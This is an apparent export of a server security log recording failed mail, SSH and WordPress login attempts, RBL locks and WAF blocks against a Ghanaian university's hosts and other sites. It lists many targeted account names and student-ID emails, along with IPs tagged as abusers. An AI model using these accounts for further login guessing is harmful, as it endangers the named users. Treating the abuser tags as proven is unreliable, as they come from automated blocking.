2025-02-07 16:58:51 dovecot_plain authenticator failed for (girbach) [77.239.255.163]:35602: 535 Incorrect authentication data (set_id=ads17b00155y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.239.255.163
country_id: 2017370
description:
Feb  7 16:58:49 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.239.255.163 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.94.125.250
country_id: 2017370
description:
2025-02-07 16:58:28 dovecot_plain authenticator failed for h77-94-125-250.static.bashtel.ru [77.94.125.250]:44334: 535 Incorrect authentication data (set_id=mumuni@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.241.247.150
country_id: 3469034
description:
Feb  7 16:58:47 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.241.247.150 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.123.172.7
country_id: 1269750
description:
Feb  7 16:58:50 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.123.172.7 has been locked due to Imunify RBL


plugin: modsec
rule: 33303
name: IM360 WAF: WordPress Bruteforce RBL block
abuser: 170.205.31.123
country_id: 6252001
domain: www.lemsas.net
description:
IM360 WAF: WordPress Bruteforce RBL block||Name:Eng15b00223y||WPU:Eng15b00223y||RSV:6.65||T:APACHE||MV:16-59.170.205.31.123


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 87.240.58.132
country_id: 2017370
description:
Feb  7 16:59:36 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 87.240.58.132 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 191.36.147.184
country_id: 3469034
description:
2025-02-07 16:59:50 dovecot_plain authenticator failed for (vipturbo.com.br) [191.36.147.184]:49141: 535 Incorrect authentication data (set_id=paakow2)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.122.255.2
country_id: 1835841
description:
2025-02-07 17:00:19 dovecot_plain authenticator failed for ([58.122.255.2]) [58.122.255.2]:34470: 535 Incorrect authentication data (set_id=botchway@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.139.88.148
country_id: 2510769
description:
2025-02-07 17:00:23 dovecot_plain authenticator failed for 148.red-2-139-88.dynamicip.rima-tde.net (rhemines) [2.139.88.148]:43912: 535 Incorrect authentication data (set_id=eejour13@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 58.122.255.2
country_id: 1835841
description:
Feb  7 17:00:17 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 58.122.255.2 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 183.47.48.178
country_id: 1814991
description:
Feb  7 16:59:39 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 183.47.48.178 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 117.50.120.215
country_id: 1814991
description:
Feb  7 16:59:38 ait sshd[1910555]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=117.50.120.215


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 116.98.160.176
country_id: 1562822
description:
Feb  7 16:59:43 ait sshd[1910590]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=116.98.160.176


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.36.147.184
country_id: 3469034
description:
Feb  7 16:59:48 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.36.147.184 has been locked due to Imunify RBL


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.50.120.215
country_id: 1814991
description:
Feb  7 16:59:38 ait sshd[1910555]: pam_imunify(sshd:auth): [IM360_RBL] The IP 117.50.120.215 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.240.58.132
country_id: 2017370
description:
2025-02-07 16:59:38 dovecot_plain authenticator failed for broadband-87-240-58-132.ip.moscow.rt.ru [87.240.58.132]:50196: 535 Incorrect authentication data (set_id=paakow2@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.231.129.154
country_id: 2413451
description:
2025-02-07 16:59:50 dovecot_login authenticator failed for ([197.231.129.154]) [197.231.129.154]:34128: 535 Incorrect authentication data (set_id=edu)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 2.139.88.148
country_id: 2510769
description:
Feb  7 17:00:21 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 2.139.88.148 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.47.48.178
country_id: 1814991
description:
2025-02-07 16:59:41 dovecot_login authenticator failed for ([183.47.48.178]) [183.47.48.178]:40591: 535 Incorrect authentication data (set_id=edu@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 197.231.129.154
country_id: 2413451
description:
Feb  7 16:59:48 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 197.231.129.154 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.113.49.23
country_id: 3017382
description:
2025-02-07 17:01:01 dovecot_plain authenticator failed for (scossucks) [185.113.49.23]:39040: 535 Incorrect authentication data (set_id=tsikpo@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 176.37.212.85
country_id: 690791
description:
2025-02-07 17:01:03 dovecot_plain authenticator failed for host-176-37-212-85.b025.la.net.ua (sions) [176.37.212.85]:47418: 535 Incorrect authentication data (set_id=bboateng@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.202.154.213
country_id: 1819730
description:
Feb  7 17:00:55 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.202.154.213 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.37.212.85
country_id: 690791
description:
Feb  7 17:01:01 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.37.212.85 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 166.195.196.241
country_id: 6252001
description:
Feb  7 17:00:30 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 166.195.196.241 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.103.126.54
country_id: 2264397
description:
2025-02-07 17:01:06 dovecot_plain authenticator failed for 54.126.103.87.rev.vodafone.pt (latus) [87.103.126.54]:21327: 535 Incorrect authentication data (set_id=bboateng@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.180.2.62
country_id: 1814991
description:
2025-02-07 17:01:14 dovecot_plain authenticator failed for ([222.180.2.62]) [222.180.2.62]:34846: 535 Incorrect authentication data (set_id=bscs18bit0012y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.113.49.23
country_id: 3017382
description:
Feb  7 17:00:59 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.113.49.23 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 87.103.126.54
country_id: 2264397
description:
Feb  7 17:01:04 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 87.103.126.54 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 222.180.2.62
country_id: 1814991
description:
Feb  7 17:01:12 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 222.180.2.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 166.195.196.241
country_id: 6252001
description:
2025-02-07 17:00:32 dovecot_plain authenticator failed for (mobile-166-195-196-241.mycingular.net) [166.195.196.241]:36320: 535 Incorrect authentication data (set_id=botchway)


plugin: modsec
rule: 33303
name: IM360 WAF: WordPress Bruteforce RBL block
abuser: 45.61.162.13
country_id: 6252001
domain: lemsas.net
description:
IM360 WAF: WordPress Bruteforce RBL block||Name:ADS21B00153Y||WPU:ADS21B00153Y||RSV:6.65||T:APACHE||MV:17-00.45.61.162.13


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.202.154.213
country_id: 1819730
description:
2025-02-07 17:00:57 dovecot_plain authenticator failed for (m121-202-154-213.smartone.com) [121.202.154.213]:63374: 535 Incorrect authentication data (set_id=bscs18bit0012y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.6.225.90
country_id: 1820814
description:
2025-02-07 17:02:22 dovecot_plain authenticator failed for (90-225.adsl.static.espeed.com.bn) [61.6.225.90]:37418: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.131.46.146
country_id: 1814991
description:
2025-02-07 17:02:22 dovecot_plain authenticator failed for ([61.131.46.146]) [61.131.46.146]:57091: 535 Incorrect authentication data (set_id=info@myait.org)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.47.142
country_id: 1880251
description:
47.128.47.142 - - [07/Feb/2025:17:01:49 +0100] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=11894982 HTTP/2.0" 302 0 gou.university "https://gou.university/cgi-sys/suspendedpage.cgi?filter_course-category=61%2C30&filter_course-language=121%2C99%2C79%2C183&filtering=1" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.47.142


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 101.32.73.141
country_id: 1562822
description:
Feb  7 17:01:52 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 101.32.73.141 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 61.131.46.146
country_id: 1814991
description:
Feb  7 17:02:20 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 61.131.46.146 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.202.153.19
country_id: 1819730
description:
Feb  7 17:02:13 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.202.153.19 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.202.153.19
country_id: 1819730
description:
2025-02-07 17:02:15 dovecot_plain authenticator failed for ([121.202.153.19]) [121.202.153.19]:30336: 535 Incorrect authentication data (set_id=botchway@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.185.216.98
country_id: 1814991
description:
2025-02-07 17:03:20 dovecot_plain authenticator failed for ([61.185.216.98]) [61.185.216.98]:47907: 535 Incorrect authentication data (set_id=bscs18bit0012y@ait.edu.gh)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 191.37.172.71
country_id: 3469034
description:
[2025-02-07 17:02:52 +0100] info [webmaild] 191.37.172.71 - info@gvu.university "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 61.185.216.98
country_id: 1814991
description:
Feb  7 17:03:18 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 61.185.216.98 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 191.59.251.95
country_id: 3469034
description:
2025-02-07 17:03:21 dovecot_plain authenticator failed for ([191.59.251.95]) [191.59.251.95]:35036: 535 Incorrect authentication data (set_id=ads23a00041y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 223.104.199.27
country_id: 1814991
description:
2025-02-07 17:02:30 dovecot_plain authenticator failed for ([120.24.83.156]) [223.104.199.27]:27201: 535 Incorrect authentication data (set_id=botchway)


plugin: modsec
rule: 33303
name: IM360 WAF: WordPress Bruteforce RBL block
abuser: 80.76.51.123
country_id: 732800
domain: phd.ait.edu.gh
description:
IM360 WAF: WordPress Bruteforce RBL block||Name:admin||WPU:admin||RSV:6.65||T:APACHE||MV:17-02.80.76.51.123


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.213.164.27
country_id: 1835841
description:
2025-02-07 17:03:04 dovecot_plain authenticator failed for ([1.213.164.27]) [1.213.164.27]:47602: 535 Incorrect authentication data (set_id=tgbadamosi@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.186.220.42
country_id: 1835841
description:
2025-02-07 17:02:36 dovecot_plain authenticator failed for ([211.186.220.42]) [211.186.220.42]:44988: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 93.64.108.27
country_id: 3175395
description:
2025-02-07 17:02:37 dovecot_plain authenticator failed for net-93-64-108-27.cust.vodafonedsl.it [93.64.108.27]:38795: 535 Incorrect authentication data (set_id=ads21a00012y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.227.190
country_id: 1269750
description:
2025-02-07 17:03:02 dovecot_plain authenticator failed for (nsg-corporate-190.227.187.122.airtel.in) [122.187.227.190]:56196: 535 Incorrect authentication data (set_id=awadzie)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.180.129.87
country_id: 1668284
description:
Feb  7 17:03:07 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 175.180.129.87 has been locked due to Imunify RBL


plugin: modsec
rule: 33303
name: IM360 WAF: WordPress Bruteforce RBL block
abuser: 157.230.219.118
country_id: 6252001
domain: iric.us
description:
IM360 WAF: WordPress Bruteforce RBL block||Name:||WPU:||RSV:6.65||T:APACHE||MV:17-03.157.230.219.118


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.241.208.174
country_id: 798544
description:
2025-02-07 17:03:19 dovecot_login authenticator failed for (ait.edu.gh) [185.241.208.174]:57287: 535 Incorrect authentication data (set_id=ads21b00230y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 80.29.176.41
country_id: 2510769
description:
Feb  7 17:02:44 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 80.29.176.41 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.227.190
country_id: 1269750
description:
Feb  7 17:03:00 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.227.190 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.59.251.95
country_id: 3469034
description:
Feb  7 17:03:19 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.59.251.95 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 223.104.199.27
country_id: 1814991
description:
Feb  7 17:02:28 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 223.104.199.27 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.29.176.41
country_id: 2510769
description:
2025-02-07 17:02:46 dovecot_plain authenticator failed for 41.red-80-29-176.dynamicip.rima-tde.net [80.29.176.41]:34423: 535 Incorrect authentication data (set_id=ads21a00012y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 101.231.247.210
country_id: 1814991
description:
Feb  7 17:02:46 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 101.231.247.210 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.213.164.27
country_id: 1835841
description:
Feb  7 17:03:02 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.213.164.27 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.186.220.42
country_id: 1835841
description:
Feb  7 17:02:34 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.186.220.42 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.36.14
country_id: 1880251
description:
47.128.36.14 - - [07/Feb/2025:17:03:07 +0100] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=15195917 HTTP/2.0" 302 0 gou.university "https://gou.university/cgi-sys/suspendedpage.cgi?filter_course-category=106&filter_course-language=118%2C183%2C95&filtering=1" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.36.14


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.241.208.174
country_id: 798544
description:
Feb  7 17:03:17 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.241.208.174 has been locked due to Imunify RBL


plugin: modsec
rule: 33303
name: IM360 WAF: WordPress Bruteforce RBL block
abuser: 54.238.102.131
country_id: 1861060
domain: www.iric.us
description:
IM360 WAF: WordPress Bruteforce RBL block||Name:admin||WPU:admin||RSV:6.65||T:APACHE||MV:17-02.54.238.102.131


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.231.247.210
country_id: 1814991
description:
2025-02-07 17:02:48 dovecot_plain authenticator failed for ([101.231.247.210]) [101.231.247.210]:46644: 535 Incorrect authentication data (set_id=awadzie@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 93.64.108.27
country_id: 3175395
description:
Feb  7 17:02:35 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 93.64.108.27 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.180.129.87
country_id: 1668284
description:
2025-02-07 17:03:09 dovecot_plain authenticator failed for (175-180-129-87.adsl.dynamic.seed.net.tw) [175.180.129.87]:53468: 535 Incorrect authentication data (set_id=ads23a00041y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 23.94.85.164
country_id: 6252001
description:
Feb  7 17:03:59 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 23.94.85.164 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 70.90.99.29
country_id: 6252001
description:
2025-02-07 17:03:59 dovecot_plain authenticator failed for (70-90-99-29-ma-ne.hfc.comcastbusiness.net) [70.90.99.29]:58801: 535 Incorrect authentication data (set_id=eejour13@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 221.13.138.138
country_id: 1814991
description:
Feb  7 17:04:08 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 221.13.138.138 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 120.194.50.39
country_id: 1814991
description:
2025-02-07 17:04:18 dovecot_plain authenticator failed for ([120.194.50.39]) [120.194.50.39]:62142: 535 Incorrect authentication data (set_id=eejour13)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 221.2.40.10
country_id: 1814991
description:
Feb  7 17:03:30 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 221.2.40.10 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 116.72.9.151
country_id: 1269750
description:
Feb  7 17:03:30 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 116.72.9.151 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.72.9.151
country_id: 1269750
description:
2025-02-07 17:03:32 dovecot_plain authenticator failed for (9.72.116.151.hathway.com) [116.72.9.151]:60352: 535 Incorrect authentication data (set_id=tgbadamosi@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 70.90.99.29
country_id: 6252001
description:
Feb  7 17:03:57 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 70.90.99.29 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.21.240.186
country_id: 2017370
description:
Feb  7 17:04:19 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.21.240.186 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.70.49.106
country_id: 1668284
description:
Feb  7 17:04:20 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.70.49.106 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.49.106
country_id: 1668284
description:
2025-02-07 17:04:22 dovecot_plain authenticator failed for 111-70-49-106.emome-ip.hinet.net [111.70.49.106]:39346: 535 Incorrect authentication data (set_id=edonkor@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 72.240.121.31
country_id: 6252001
description:
Feb  7 17:03:56 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 72.240.121.31 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.232.37.90
country_id: 2510769
description:
Feb  7 17:03:59 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.232.37.90 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 23.94.85.164
country_id: 6252001
description:
2025-02-07 17:04:01 dovecot_plain authenticator failed for (23-94-85-164-host.colocrossing.com) [23.94.85.164]:35556: 535 Incorrect authentication data (set_id=eng19a00089y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.13.138.138
country_id: 1814991
description:
2025-02-07 17:04:10 dovecot_plain authenticator failed for (hn.kd.smx.adsl) [221.13.138.138]:50827: 535 Incorrect authentication data (set_id=abs08b99933y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 72.240.121.31
country_id: 6252001
description:
2025-02-07 17:03:58 dovecot_plain authenticator failed for cm-72-240-121-31.buckeyecom.net [72.240.121.31]:47703: 535 Incorrect authentication data (set_id=abs08b99933y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.232.37.90
country_id: 2510769
description:
2025-02-07 17:04:01 dovecot_plain authenticator failed for ([185.232.37.90]) [185.232.37.90]:36250: 535 Incorrect authentication data (set_id=tgbadamosi)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 218.150.170.10
country_id: 1835841
description:
Feb  7 17:04:13 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 218.150.170.10 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.2.40.10
country_id: 1814991
description:
2025-02-07 17:03:32 dovecot_plain authenticator failed for ([112.6.73.140]) [221.2.40.10]:41694: 535 Incorrect authentication data (set_id=bscs18bit0012y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.150.170.10
country_id: 1835841
description:
2025-02-07 17:04:15 dovecot_plain authenticator failed for ([218.150.170.10]) [218.150.170.10]:35558: 535 Incorrect authentication data (set_id=tgbadamosi)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 120.194.50.39
country_id: 1814991
description:
Feb  7 17:04:16 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 120.194.50.39 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.21.240.186
country_id: 2017370
description:
2025-02-07 17:04:21 dovecot_plain authenticator failed for ([46.21.240.186]) [46.21.240.186]:55864: 535 Incorrect authentication data (set_id=eng19a00089y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 104.241.228.76
country_id: 6252001
description:
Feb  7 17:05:11 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 104.241.228.76 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 110.25.105.234
country_id: 1668284
description:
Feb  7 17:04:28 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 110.25.105.234 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.241.61
country_id: 1269750
description:
Feb  7 17:04:37 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.241.61 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.79.108.51
country_id: 2017370
description:
2025-02-07 17:04:42 dovecot_plain authenticator failed for (dynamicip-95-79-108-51.pppoe.nn.ertelecom.ru) [95.79.108.51]:50563: 535 Incorrect authentication data (set_id=awadzie)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 95.79.108.51
country_id: 2017370
description:
Feb  7 17:04:40 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 95.79.108.51 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.241.228.76
country_id: 6252001
description:
2025-02-07 17:05:13 dovecot_login authenticator failed for ([104.241.228.76]) [104.241.228.76]:53954: 535 Incorrect authentication data (set_id=oudoc@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.105.234
country_id: 1668284
description:
2025-02-07 17:04:30 dovecot_plain authenticator failed for 110-25-105-234.adsl.fetnet.net [110.25.105.234]:43287: 535 Incorrect authentication data (set_id=awadzie@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.241.61
country_id: 1269750
description:
2025-02-07 17:04:39 dovecot_plain authenticator failed for (nsg-corporate-61.241.187.122.airtel.in) [122.187.241.61]:41919: 535 Incorrect authentication data (set_id=edonkor)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.160.140.78
country_id: 1562822
description:
2025-02-07 17:05:27 dovecot_login authenticator failed for (static.vnpt.vn) [113.160.140.78]:43800: 535 Incorrect authentication data (set_id=oudoc)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.99.15.104
country_id: 1269750
description:
2025-02-07 17:05:29 dovecot_plain authenticator failed for ([103.99.15.104]) [103.99.15.104]:52830: 535 Incorrect authentication data (set_id=ads19b00282y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 222.235.82.88
country_id: 1835841
description:
Feb  7 17:05:30 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 222.235.82.88 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.202.204.100
country_id: 1819730
description:
2025-02-07 17:05:44 dovecot_plain authenticator failed for (m121-202-204-100.smartone.com) [121.202.204.100]:13640: 535 Incorrect authentication data (set_id=abs08b99933y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.167.234.154
country_id: 1814991
description:
2025-02-07 17:06:12 dovecot_plain authenticator failed for ([183.167.234.154]) [183.167.234.154]:53072: 535 Incorrect authentication data (set_id=ads20a00254y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 195.252.209.189
country_id: 6252001
description:
2025-02-07 17:06:11 dovecot_plain authenticator failed for ([195.252.209.189]) [195.252.209.189]:37178: 535 Incorrect authentication data (set_id=ads21b00225y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 113.160.140.78
country_id: 1562822
description:
Feb  7 17:05:25 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 113.160.140.78 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 58.69.17.18
country_id: 1694008
description:
Feb  7 17:05:36 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 58.69.17.18 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.249.1.81
country_id: 1814991
description:
